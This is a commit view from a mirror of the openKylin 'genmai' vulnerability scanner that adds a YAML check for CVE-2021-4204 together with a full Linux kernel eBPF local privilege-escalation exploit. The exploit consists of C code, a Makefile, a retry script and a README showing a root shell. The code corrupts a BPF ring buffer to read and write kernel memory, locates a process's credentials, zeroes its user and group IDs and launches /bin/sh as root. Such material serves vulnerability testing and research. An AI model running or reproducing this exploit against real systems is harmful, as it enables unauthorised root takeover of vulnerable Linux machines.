mirror of https://gitee.com/openkylin/genmai.git
Merge branch 'master' of gitee.com:openkylin/genmai into feat_CVE_2022_25636
Signed-off-by: 刘千歌 <by2139121@buaa.edu.cn>
This commit is contained in:
commit
b35d07a138
|
@ -0,0 +1,41 @@
|
|||
FormatVer: 20230309
|
||||
Id: CVE-2021-4204
|
||||
Belong: kernel
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/tr3ee/CVE-2021-4204
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
Severity: high
|
||||
Description:
|
||||
由于输入验证不正确,在Linux内核的eBPF中发现了越界(OOB)内存访问缺陷。此漏洞允许具有特殊权限的本地攻击者使系统崩溃或泄漏内部信息。
|
||||
ScopeOfInfluence:
|
||||
v5.8 ≤ linux-kernel ≤ 5.16
|
||||
References:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-4204
|
||||
- https://www.openwall.com/lists/oss-security/2022/01/11/4
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
|
||||
CvssScore: 7.1
|
||||
CveId: CVE-2021-4204
|
||||
CweId: CWE-787, CEW-20
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- cve2021
|
||||
- 权限提升
|
||||
SiteRequests:
|
||||
Implement:
|
||||
RawTypes:
|
||||
- implementOne
|
||||
ImArray:
|
||||
- inter: bash
|
||||
InterArgs :
|
||||
Exec : build_and_run.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
Inter:
|
||||
- ">.:[+] Enjoy root!" #等待输出'infinitely ...'
|
||||
- "<<:id\n" #输入'id\n'
|
||||
- ">.:\n" #等待输出'\n'
|
||||
- ">?:uid=0(root)" #判断输出为'uid=0(root)'为成功
|
||||
Condition: None
|
|
@ -0,0 +1,12 @@
|
|||
EXP := exploit
|
||||
HDRS := $(sort $(wildcard include/*.h))
|
||||
|
||||
CFLAGS += -I include -static -w
|
||||
|
||||
all: $(EXP)
|
||||
|
||||
%: %.c $(HDRS)
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXP)
|
|
@ -0,0 +1,37 @@
|
|||
# CVE-2021-4204
|
||||
|
||||
Chinese writeup: https://tr3e.ee/posts/cve-2021-4204-linux-kernel-ebpf-lpe.txt
|
||||
|
||||
For educational/research purposes only. Use at your own risk.
|
||||
|
||||
## Build & Run
|
||||
|
||||
```bash
|
||||
$ sh build_and_run.sh
|
||||
Build from source...
|
||||
cc -I include -static -w -o exploit exploit.c
|
||||
Start exploit! This might take some while...
|
||||
[*] phase(1/7) 'create bpf map(s)' running
|
||||
[+] phase(1/7) 'create bpf map(s)' done
|
||||
[*] phase(2/7) 'corrupt ringbuf' running
|
||||
Killed
|
||||
--------------------------------
|
||||
[*] phase(1/7) 'create bpf map(s)' running
|
||||
[+] phase(1/7) 'create bpf map(s)' done
|
||||
[*] phase(2/7) 'corrupt ringbuf' running
|
||||
[+] phase(2/7) 'corrupt ringbuf' done
|
||||
[*] phase(3/7) 'spawn processes' running
|
||||
[+] phase(3/7) 'spawn processes' done
|
||||
[*] phase(4/7) 'find cred (slow)' running
|
||||
[+] phase(4/7) 'find cred (slow)' done
|
||||
[*] phase(5/7) 'overwrite cred' running
|
||||
[+] phase(5/7) 'overwrite cred' done
|
||||
[*] phase(6/7) 'spawn root shell' running
|
||||
[+] Enjoy root!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# exit
|
||||
[+] phase(6/7) 'spawn root shell' done
|
||||
[*] phase(7/7) 'clean up the mess' running
|
||||
[+] phase(7/7) 'clean up the mess' done
|
||||
```
|
|
@ -0,0 +1,13 @@
|
|||
#!/bin/sh
|
||||
|
||||
cd $(dirname "$0")
|
||||
|
||||
echo "Build from source..." && make
|
||||
|
||||
echo "Start exploit! This might take some while..."
|
||||
|
||||
until ./exploit
|
||||
do
|
||||
echo "--------------------------------"
|
||||
sleep 1
|
||||
done
|
|
@ -0,0 +1,505 @@
|
|||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include "bpf.h"
|
||||
#include "config.h"
|
||||
#include "debug.h"
|
||||
#include "helper.h"
|
||||
|
||||
typedef struct {
|
||||
u32 rand;
|
||||
|
||||
int comm_fd;
|
||||
int array_fd;
|
||||
int ringbuf_fd;
|
||||
int ringbuf_next_fd;
|
||||
|
||||
int ringbuf_fds[MAP_NUM];
|
||||
pid_t processes[PROC_NUM];
|
||||
|
||||
kaddr_t ringbuf;
|
||||
kaddr_t ringbuf_pages;
|
||||
kaddr_t array_map;
|
||||
kaddr_t array_map_ops;
|
||||
kaddr_t task_struct;
|
||||
kaddr_t cred;
|
||||
|
||||
union {
|
||||
u8 bytes[PAGE_SIZE*8];
|
||||
u16 words[0];
|
||||
u32 dwords[0];
|
||||
u64 qwords[0];
|
||||
kaddr_t ptrs[0];
|
||||
};
|
||||
} context_t;
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
int (*func)(context_t *ctx);
|
||||
int ignore_error;
|
||||
} phase_t;
|
||||
|
||||
int create_bpf_maps(context_t *ctx)
|
||||
{
|
||||
int ret = 0;
|
||||
|
||||
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
|
||||
if (ret < 0) {
|
||||
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
|
||||
return ret;
|
||||
}
|
||||
ctx->comm_fd = ret;
|
||||
|
||||
for (int i = 0; i < MAP_NUM; i++)
|
||||
{
|
||||
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
|
||||
WARNF("Could not create ringbuf map[%d]: %d (%s)", i, ret, strerror(-ret));
|
||||
return ret;
|
||||
}
|
||||
ctx->ringbuf_fds[i] = ret;
|
||||
}
|
||||
|
||||
ctx->rand = urandom();
|
||||
|
||||
u32 idx = (ctx->rand%(MAP_NUM - 1));
|
||||
ctx->ringbuf_fd = ctx->ringbuf_fds[idx];
|
||||
ctx->ringbuf_next_fd = ctx->ringbuf_fds[idx+1];
|
||||
|
||||
DEBUGF("random = 0x%08x, idx = %d", ctx->rand, idx);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int spawn_processes(context_t *ctx)
|
||||
{
|
||||
for (int i = 0; i < PROC_NUM; i++)
|
||||
{
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
|
||||
WARNF("Could not set name");
|
||||
}
|
||||
uid_t old = getuid();
|
||||
kill(getpid(), SIGSTOP);
|
||||
uid_t uid = getuid();
|
||||
if (uid == 0 && old != uid) {
|
||||
OKF("Enjoy root!");
|
||||
system("/bin/sh");
|
||||
}
|
||||
exit(uid);
|
||||
}
|
||||
if (child < 0) {
|
||||
return child;
|
||||
}
|
||||
ctx->processes[i] = child;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int corrupt_ringbuf(context_t *ctx)
|
||||
{
|
||||
struct bpf_insn insn[] = {
|
||||
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
|
||||
|
||||
// if (r0 == NULL) exit(1)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 1),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r9 = r0
|
||||
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, 0xff0, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0xff0),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
// if (r0 == NULL) exit(2)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 2),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// === Overwrite ringbuf's mask to 0x80000fff ===
|
||||
// r0 = BPF_FUNC_ringbuf_submit(r0-(0x3008-0x38), BPF_RB_NO_WAKEUP)
|
||||
BPF_ALU64_IMM(BPF_SUB, BPF_REG_0, (0x3008-0x38)),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, 0x4000-8, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0x4000-8),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
// if (r0 == NULL) exit(3)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 3),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r6 = (struct ringbuf*)next
|
||||
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x2000),
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0x30),
|
||||
|
||||
// if ((struct ringbuf*)(next)->mask != 0xfff) exit(4);
|
||||
BPF_MOV64_IMM(BPF_REG_8, 0xfff),
|
||||
BPF_JMP_REG(BPF_JEQ, BPF_REG_7, BPF_REG_8, 6),
|
||||
// cleanup on error
|
||||
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0x2000),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 4),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// We are lucky, do some leak and overwrite next->mask
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_6, 0x30, 0xFFFFFFFE),
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_6, 0x34, 0xFFFFFFFF),
|
||||
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, 0x8), // ringbuf addr
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 8),
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, 0x38), // ringbuf pages
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 16),
|
||||
BPF_ST_MEM(BPF_DW, BPF_REG_9, 0x0, 0x13371337),
|
||||
|
||||
// Clean up
|
||||
|
||||
// r0 = bpf_ringbuf_discard(r6-0x2000, BPF_RB_NO_WAKEUP)
|
||||
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0x2000),
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN()
|
||||
};
|
||||
|
||||
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
|
||||
if (prog < 0) {
|
||||
WARNF("Could not load program(corrupt_ringbuf):\n %s", bpf_log_buf);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
int err = bpf_prog_skb_run(prog, "TRIGGER", 8);
|
||||
if (err != 0) {
|
||||
WARNF("Could not run program(corrupt_ringbuf): %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
|
||||
int key = 0;
|
||||
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
|
||||
if (err != 0) {
|
||||
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
|
||||
if (ctx->qwords[0] != 0x13371337) {
|
||||
WARNF("Could not leak kernel address. Try again if the kernel is vulnerable");
|
||||
goto abort;
|
||||
}
|
||||
|
||||
ctx->ringbuf = ctx->ptrs[1] - 8;
|
||||
ctx->ringbuf_pages = ctx->ptrs[2];
|
||||
|
||||
DEBUGF("ringbuf @ %p", ctx->ringbuf);
|
||||
DEBUGF("ringbuf pages @ %p", ctx->ringbuf_pages);
|
||||
|
||||
return 0;
|
||||
|
||||
abort:
|
||||
if (prog > 0) close(prog);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// restricted_rw read(mode >= 0) or write(mode < 0) data with consequences (*kaddr = 0, *(kaddr-8) = bad_value).
|
||||
int restricted_rw(context_t *ctx, kaddr_t kaddr, void* buf, u8 bpf_size, size_t count, int mode)
|
||||
{
|
||||
int size = 0;
|
||||
switch (bpf_size)
|
||||
{
|
||||
case BPF_DW:
|
||||
size = 8;
|
||||
break;
|
||||
case BPF_W:
|
||||
size = 4;
|
||||
break;
|
||||
case BPF_H:
|
||||
size = 2;
|
||||
break;
|
||||
case BPF_B:
|
||||
size = 1;
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
int ret = -1;
|
||||
|
||||
u64 delta = ctx->ringbuf_pages + 0x30 - (ctx->ringbuf + 0x3000 + 8);
|
||||
u64 offset = kaddr - (ctx->ringbuf_pages + 0x30);
|
||||
u64 tmp[PAGE_SIZE] = {};
|
||||
|
||||
// DEBUGF("restricted_rw %s %p by %p + %p (delta %p)", mode>=0 ? "read":"write", (void*)kaddr, (void*)ctx->ringbuf_pages + 0x30, (void*)offset, (void*)delta);
|
||||
|
||||
struct bpf_insn prefix[] = {
|
||||
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
|
||||
|
||||
// if (r0 == NULL) exit(1)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 1),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r9 = r0
|
||||
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, 0x5000-8, 0)
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 0x5000-8),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
// if (r0 == NULL) exit(2)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 2),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// r8 = delta
|
||||
BPF_MOV32_IMM(BPF_REG_8, (u32)(delta>>32)),
|
||||
BPF_MOV32_IMM(BPF_REG_2, (u32)(delta&0xFFFFFFFF)),
|
||||
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
|
||||
BPF_ALU64_REG(BPF_OR, BPF_REG_8, BPF_REG_2),
|
||||
|
||||
// next->producer_pos = delta
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0x4000),
|
||||
|
||||
// r0 = bpf_ringbuf_discard(r0, BPF_RB_NO_WAKEUP)
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
|
||||
|
||||
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_next_fd, offset+PAGE_SIZE, 0) # point to ctx->ringbuf_pages + 0x30
|
||||
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_next_fd),
|
||||
BPF_MOV64_IMM(BPF_REG_2, offset+PAGE_SIZE),
|
||||
BPF_MOV64_IMM(BPF_REG_3, 0x00),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
|
||||
|
||||
// if (r0 == NULL) exit(3)
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 3),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
// *r0 = 0x80000000
|
||||
BPF_MOV64_IMM(BPF_REG_1, 1),
|
||||
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 31),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0),
|
||||
|
||||
// r0 += offset
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, (u32)(offset)),
|
||||
};
|
||||
|
||||
struct bpf_insn suffix[] = {
|
||||
// r0 point to kaddr, we need to fix that before submit
|
||||
BPF_ALU64_IMM(BPF_SUB, BPF_REG_0, (u32)(offset)),
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 8),
|
||||
// r0 = bpf_ringbuf_submit(r0, BPF_RB_NO_WAKEUP)
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
|
||||
BPF_MOV64_IMM(BPF_REG_2, 1),
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
|
||||
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
};
|
||||
|
||||
int prefix_cnt = sizeof(prefix)/sizeof(prefix[0]);
|
||||
int suffix_cnt = sizeof(suffix)/sizeof(suffix[0]);
|
||||
|
||||
struct bpf_insn* insn = calloc(sizeof(struct bpf_insn), prefix_cnt + suffix_cnt + count*2);
|
||||
if (!insn) {
|
||||
WARNF("Failed to allocate insn buffer: out of memory");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct bpf_insn* p = insn;
|
||||
|
||||
memcpy(p, prefix, sizeof(prefix));
|
||||
|
||||
p += prefix_cnt;
|
||||
|
||||
u8 src = mode >= 0? BPF_REG_0 : BPF_REG_9;
|
||||
u8 dst = mode >= 0? BPF_REG_9 : BPF_REG_0;
|
||||
for (int i = 0; i < count; i++) {
|
||||
*p++ = BPF_LDX_MEM(bpf_size, BPF_REG_1, src, i*size);
|
||||
*p++ = BPF_STX_MEM(bpf_size, dst, BPF_REG_1, i*size);
|
||||
}
|
||||
|
||||
memcpy(p, suffix, sizeof(suffix));
|
||||
|
||||
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, prefix_cnt + suffix_cnt + count*2, "");
|
||||
if (prog < 0) {
|
||||
WARNF("Failed to load program(read):\n %s", bpf_log_buf);
|
||||
goto abort;
|
||||
}
|
||||
|
||||
int err = 0;
|
||||
|
||||
if (mode < 0) {
|
||||
memcpy(tmp, buf, size*count);
|
||||
err = bpf_update_elem(ctx->comm_fd, &err, tmp, 0);
|
||||
if (err != 0) {
|
||||
WARNF("Failed to update comm map: %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
}
|
||||
|
||||
if ((err = bpf_prog_skb_run(prog, "tr3e of SecCoder Security Lab", 30)) != 0) {
|
||||
WARNF("Failed to run program(read): %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
|
||||
if (mode > 0) {
|
||||
err = bpf_lookup_elem(ctx->comm_fd, &err, tmp);
|
||||
if (err != 0) {
|
||||
WARNF("Failed to lookup comm map: %d (%s)", err, strerror(err));
|
||||
goto abort;
|
||||
}
|
||||
memcpy(buf, tmp, size*count);
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
abort:
|
||||
if (prog > 0) close(prog);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int find_cred(context_t *ctx)
|
||||
{
|
||||
kaddr_t kaddr = ctx->ringbuf_pages + 0x30;
|
||||
|
||||
for (int i = 0; i < 2*PAGE_SIZE; i++)
|
||||
{
|
||||
if (restricted_rw(ctx, kaddr, ctx->bytes, BPF_DW, PAGE_SIZE/8, 1) != 0) {
|
||||
WARNF("Could not find task_struct from kernel vmalloc memory");
|
||||
goto abort;
|
||||
}
|
||||
u8 *tmp = ctx->bytes;
|
||||
size_t size = PAGE_SIZE;
|
||||
while(true) {
|
||||
int offset = memoff(tmp, size, __ID__, sizeof(__ID__));
|
||||
if (offset < 0) break;
|
||||
kaddr_t creds[2] = {};
|
||||
kaddr_t cred_from_task = kaddr + offset - 0x10;
|
||||
if (restricted_rw(ctx, cred_from_task, creds, BPF_DW, 2, 1) != 0) {
|
||||
WARNF("Could not read kernel address %p", cred_from_task);
|
||||
break;
|
||||
}
|
||||
// could be cred or cached_requested_key
|
||||
kaddr_t cred = creds[1] != NULL ? creds[1] : creds[0];
|
||||
DEBUGF("Found an candidate task %p, cred %p", cred_from_task, cred);
|
||||
if (cred != 0 && cred > ctx->ringbuf_pages && cred < ctx->ringbuf_pages + (1<<29)) {
|
||||
ctx->cred = cred;
|
||||
DEBUGF("task struct ~ %p", cred_from_task);
|
||||
DEBUGF("cred @ %p", ctx->cred);
|
||||
return 0;
|
||||
}
|
||||
tmp += offset + sizeof(__ID__);
|
||||
size -= offset + sizeof(__ID__);
|
||||
}
|
||||
kaddr += PAGE_SIZE;
|
||||
}
|
||||
|
||||
abort:
|
||||
return -1;
|
||||
}
|
||||
|
||||
int overwrite_cred(context_t *ctx)
|
||||
{
|
||||
u64 zero = 0;
|
||||
if (restricted_rw(ctx, ctx->cred + OFFSET_uid_from_cred, &zero, BPF_W, 1, -1) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (restricted_rw(ctx, ctx->cred + OFFSET_gid_from_cred, &zero, BPF_W, 1, -1) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (restricted_rw(ctx, ctx->cred + OFFSET_euid_from_cred, &zero, BPF_W, 1, -1) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (restricted_rw(ctx, ctx->cred + OFFSET_egid_from_cred, &zero, BPF_W, 1, -1) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int spawn_root_shell(context_t *ctx)
|
||||
{
|
||||
for (int i = 0; i < PROC_NUM; i++)
|
||||
{
|
||||
kill(ctx->processes[i], SIGCONT);
|
||||
}
|
||||
while(wait(NULL) > 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int clean_up(context_t *ctx)
|
||||
{
|
||||
close(ctx->comm_fd);
|
||||
for (int i = 0; i < MAP_NUM; i++)
|
||||
{
|
||||
if (ctx->ringbuf_fds[i]) close(ctx->ringbuf_fds[i]);
|
||||
}
|
||||
kill(0, SIGCONT);
|
||||
return 0;
|
||||
}
|
||||
|
||||
phase_t phases[] = {
|
||||
{ .name = "create bpf map(s)", .func = create_bpf_maps },
|
||||
{ .name = "corrupt ringbuf", .func = corrupt_ringbuf },
|
||||
{ .name = "spawn processes", .func = spawn_processes },
|
||||
{ .name = "find cred (slow)", .func = find_cred },
|
||||
{ .name = "overwrite cred", .func = overwrite_cred },
|
||||
{ .name = "spawn root shell", .func = spawn_root_shell },
|
||||
{ .name = "clean up the mess", .func = clean_up , .ignore_error = 1 },
|
||||
};
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
context_t ctx = {};
|
||||
int err = 0;
|
||||
int max = sizeof(phases) / sizeof(phases[0]);
|
||||
if (getuid() == 0) {
|
||||
BADF("You are already root, exiting...");
|
||||
return -1;
|
||||
}
|
||||
for (int i = 1; i <= max; i++)
|
||||
{
|
||||
phase_t *phase = &phases[i-1];
|
||||
if (err != 0 && !phase->ignore_error) {
|
||||
ACTF("phase(%d/%d) '%s' skipped", i, max, phase->name);
|
||||
continue;
|
||||
}
|
||||
ACTF("phase(%d/%d) '%s' running", i, max, phase->name);
|
||||
int error = phase->func(&ctx);
|
||||
if (error != 0) {
|
||||
BADF("phase(%d/%d) '%s' return with error %d", i, max, phase->name, error);
|
||||
err = error;
|
||||
} else {
|
||||
OKF("phase(%d/%d) '%s' done", i, max, phase->name);
|
||||
}
|
||||
}
|
||||
return err;
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,18 @@
|
|||
#ifndef _CONFIG_H_
|
||||
#define _CONFIG_H_
|
||||
|
||||
#define VERSION "1.00a"
|
||||
|
||||
#define MAP_NUM 0x40
|
||||
#define PROC_NUM 0x100
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define __ID__ "SCSLSCSL"
|
||||
|
||||
#define OFFSET_uid_from_cred 0x04
|
||||
#define OFFSET_gid_from_cred 0x08
|
||||
#define OFFSET_euid_from_cred 0x14
|
||||
#define OFFSET_egid_from_cred 0x18
|
||||
|
||||
int verbose __attribute__((weak)) = 1;
|
||||
|
||||
#endif /* _CONFIG_H_ */
|
|
@ -0,0 +1,301 @@
|
|||
/*
|
||||
american fuzzy lop++ - debug / error handling macros
|
||||
----------------------------------------------------
|
||||
Originally written by Michal Zalewski
|
||||
Now maintained by Marc Heuse <mh@mh-sec.de>,
|
||||
Heiko Eißfeldt <heiko.eissfeldt@hexco.de>,
|
||||
Andrea Fioraldi <andreafioraldi@gmail.com>,
|
||||
Dominik Maier <mail@dmnk.co>
|
||||
Copyright 2016, 2017 Google Inc. All rights reserved.
|
||||
Copyright 2019-2020 AFLplusplus Project. All rights reserved.
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at:
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
*/
|
||||
|
||||
#ifndef _HAVE_DEBUG_H
|
||||
#define _HAVE_DEBUG_H
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "helper.h"
|
||||
#include "config.h"
|
||||
|
||||
/*******************
|
||||
* Terminal colors *
|
||||
*******************/
|
||||
|
||||
#ifndef MESSAGES_TO_STDOUT
|
||||
#define MESSAGES_TO_STDOUT
|
||||
#endif
|
||||
|
||||
#ifdef USE_COLOR
|
||||
|
||||
#define cBLK "\x1b[0;30m"
|
||||
#define cRED "\x1b[0;31m"
|
||||
#define cGRN "\x1b[0;32m"
|
||||
#define cBRN "\x1b[0;33m"
|
||||
#define cBLU "\x1b[0;34m"
|
||||
#define cMGN "\x1b[0;35m"
|
||||
#define cCYA "\x1b[0;36m"
|
||||
#define cLGR "\x1b[0;37m"
|
||||
#define cGRA "\x1b[1;90m"
|
||||
#define cLRD "\x1b[1;91m"
|
||||
#define cLGN "\x1b[1;92m"
|
||||
#define cYEL "\x1b[1;93m"
|
||||
#define cLBL "\x1b[1;94m"
|
||||
#define cPIN "\x1b[1;95m"
|
||||
#define cLCY "\x1b[1;96m"
|
||||
#define cBRI "\x1b[1;97m"
|
||||
#define cRST "\x1b[0m"
|
||||
|
||||
#define bgBLK "\x1b[40m"
|
||||
#define bgRED "\x1b[41m"
|
||||
#define bgGRN "\x1b[42m"
|
||||
#define bgBRN "\x1b[43m"
|
||||
#define bgBLU "\x1b[44m"
|
||||
#define bgMGN "\x1b[45m"
|
||||
#define bgCYA "\x1b[46m"
|
||||
#define bgLGR "\x1b[47m"
|
||||
#define bgGRA "\x1b[100m"
|
||||
#define bgLRD "\x1b[101m"
|
||||
#define bgLGN "\x1b[102m"
|
||||
#define bgYEL "\x1b[103m"
|
||||
#define bgLBL "\x1b[104m"
|
||||
#define bgPIN "\x1b[105m"
|
||||
#define bgLCY "\x1b[106m"
|
||||
#define bgBRI "\x1b[107m"
|
||||
|
||||
#else
|
||||
|
||||
#define cBLK ""
|
||||
#define cRED ""
|
||||
#define cGRN ""
|
||||
#define cBRN ""
|
||||
#define cBLU ""
|
||||
#define cMGN ""
|
||||
#define cCYA ""
|
||||
#define cLGR ""
|
||||
#define cGRA ""
|
||||
#define cLRD ""
|
||||
#define cLGN ""
|
||||
#define cYEL ""
|
||||
#define cLBL ""
|
||||
#define cPIN ""
|
||||
#define cLCY ""
|
||||
#define cBRI ""
|
||||
#define cRST ""
|
||||
